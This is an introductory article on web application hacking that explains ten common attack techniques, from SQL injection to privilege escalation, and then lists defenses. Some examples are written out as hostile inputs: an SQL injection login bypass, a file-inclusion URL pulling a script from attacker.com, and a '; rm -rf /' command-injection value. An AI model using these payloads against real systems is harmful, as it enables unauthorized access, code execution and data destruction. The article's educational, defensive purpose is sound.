Web application hacking is the exploitation of vulnerabilities within a web application to gain unauthorized access, steal data, or cause disruptions. It is a form of program or software hosted on a web server and is accessed through browsers, such as online banking platforms, e-commerce sites, social media platforms, and content management systems (CMS). These applications often handle sensitive user data, making them prime targets for cybercriminals.
Web application vulnerabilities are usually exploited through a number of attack techniques. It is necessary to know about these techniques and the way to protect against them for securing web applications.
### Common Techniques and Methods Used in Web Application Hacking
1. SQL Injection (SQLi)
- **What it is**: SQL Injection (SQLi) occurs when an attacker inserts or "injects" malicious SQL code into an input field of a web application (such as a login form or search bar) that directly interacts with a database.
- **How it works**: If the web application fails to validate or sanitize user input, the attacker can manipulate the SQL query. This way, they can view or manipulate the database contents, such as getting usernames, passwords, or other sensitive data.
- **Impact**: Data theft, database manipulation, privilege escalation, and potential remote code execution.
- **Example**: A hacker could submit `' OR 1=1 --` as a login form, thereby bypassing authentication and logging in with no valid credentials.
2. **Cross-Site Scripting (XSS)
- **What it is**: Cross-Site Scripting (XSS) allows attackers to inject malicious scripts (usually JavaScript) into web pages viewed by other users.
- **How it works**: The attacker takes advantage of the vulnerabilities in the input validation of the web application to inject harmful code into pages, which is executed in the browser of anyone who views the page.
- **Impact**: Session hijacking, data theft, defacement of web pages, spreading malware, or redirection to malicious sites.
- **Demonstration**: The attacker would post a script into a comment box in an application. A user subsequently logging onto that page causes the script to be run because the users don't verify the page loaded, sending cookies to the attacker.
3. **CSRF- Cross Site Request Forgery**
- **Description**: CSRF exploits victim into executing requests they are not expected to in a web application where their identities are authenticated.
- **How it works**: It exploits the authenticated user, usually in an environment where the user has access, by crafting a malicious link or request forcing them to perform unwanted actions (such as fund transfer) on the application without their consent.
- **Impact**: Changes on the user data, transactions, or account settings as carried out on the behalf of the victim.
- **Example**: A user is logged into a banking website. An attacker might trick the user into clicking a malicious link that transfers money from his account.
4. Remote File Inclusion (RFI) and Local File Inclusion (LFI)
- **What it is**: RFI and LFI vulnerabilities happen when a web application permits users to include files in its environment. RFI lets an attacker include remote files (from an external server), while LFI lets attackers access local files on the server.
- **How it works**: In an RFI attack, an attacker may force the application to load malicious code from an external server. In an LFI attack, they may try to include sensitive files (like `/etc/passwd` on Unix/Linux systems) that can expose system information or provide a means of attack.
- **Impact**: Data theft, remote code execution, or accessing the web server and sensitive files.
- **Example**: A malicious person can manipulate a URL so that the server includes a file such as `http://victim.com/index.php?file=http://attacker.com/malicious_script.php`.
5. Command Injection
- **What it is**: Command injection is an attack that allows an attacker to execute arbitrary commands on a web server or system by exploiting an application's ability to execute system commands.
- **How it works**: If a web application does not handle user input properly that interacts with the system shell, for example running system commands, attackers can inject their own commands.
- **Impact**: Compromise the server, gain shell access, delete files, steal data, or execute arbitrary code on the server.
- **Example**: A vulnerable form that accepts a file name might allow an attacker to inject `; rm -rf /` which would delete the entire file system.
6. **Brute Force Attacks**
- **What it is:** Brute force attacks are simple guessing of usernames and passwords in sequences until the correct one comes up.
- **How it works:** In brute force attacks, users use automated tools to try multiple combinations of a username with a password and break the user account as they use common password sequences.
- **Impact:** There is account hijacking, unauthorized access of sensitive data or taking of control of the admin account.
- **Example**: A hacker might try to brute-force an admin account using a tool such as **Hydra** or **Burp Suite**, trying common passwords like "admin123" or "password".
7. **Session Hijacking**
- **What it is**: Session hijacking is when a hacker steals or predicts a valid session token (usually stored in cookies) to impersonate a legitimate user.
- **How it works**: The session token can be intercepted or guessed by an attacker. He can use it to hijack the victim's session and access the web application as if he were the legitimate user.
- **Impact**: Unauthorized access to user accounts, data theft, or privilege escalation.
- **Example**: Through XSS or a man-in-the-middle attack, an attacker can steal the session cookie of a logged-in user, hence accessing that user's account.
8. **File Upload Vulnerabilities**
- **What it is**: File upload functionalities are vulnerable to the point that attackers can upload files with malicious content, like web shells and executable scripts, on to the server.
- **How it works**: If the web application does not properly validate the file type or contents before uploading, an attacker may upload a file that can execute code on the server or gain unauthorized access.
- **Impact**: Server compromise, remote code execution, or data theft.
- **Example**: An attacker uploads a PHP file masquerading as an image and then executes it to obtain shell access to the server.
9. **Insecure Direct Object References (IDOR)**
- **What it is**: IDOR occurs when an application allows users to access or modify objects (e.g., files, database records) without proper authorization, simply by manipulating the URL or request parameters.
- **How it works**: The attacker can manipulate request parameters, such as user IDs or file names, to access resources they shouldn't have access to.
- **Impact**: Unauthorized access to sensitive data, such as other users' accounts, files, or private information.
- **Example**: A user may change the URL from `/profile?id=123` to `/profile?id=124` to access another user's profile.
10. **Privilege Escalation**
- **What it is**: Privilege escalation happens when the attacker exploits a vulnerability or some form of misconfiguration to gain higher than the privileges initially granted to them.
- **How it works**: An attacker can use flaws in an application to escalate privileges and gain an administrator or super-user level as a regular user.
- **Impact**: Full access to the application, server, and sensitive data.
- **Example**: A user might exploit an admin interface vulnerability to upgrade their user role to admin.
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### How to Defend Against Web Application Hacking
1. **Input Validation**: Always validate and sanitize user inputs to prevent SQL injection, XSS, and other injection attacks. Use whitelists to allow only safe inputs.
2. **Use Web Application Firewalls (WAFs)**: A WAF helps protect your web application by filtering and monitoring HTTP traffic for malicious requests.
3. **Keep Software Up-to-Date**: Regularly update the application, its components, and the web server software to patch known vulnerabilities.
4. **Implement Strong Authentication and Authorization**: Use multi-factor authentication (MFA), enforce strong password policies, and ensure that users can only access the resources they are authorized to.
5. **Secure File Uploads**: Validate uploaded files for existence (e.g., file type, size, content) and store them in non-executable directories.
6. **Encrypt Sensitive Data**: Use SSL/TLS protocols to secure data in transit, and encrypt sensitive data stored in the database.
7. **Session Management**: Implement good session management practices such as secure cookies, expiration times, and invalidation of sessions after logout.
8. **Periodic Penetration Testing**: Use penetration tests to find and correct vulnerabilities before the bad guys can exploit them.
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Conclusion
Web application hacking is a common and serious threat against websites and web services. Knowing the tactics of hackers and following the best practices in security can lower the likelihood of being compromised. Web applications are kept secure through regular updates, proper input validation, and secure authentication.
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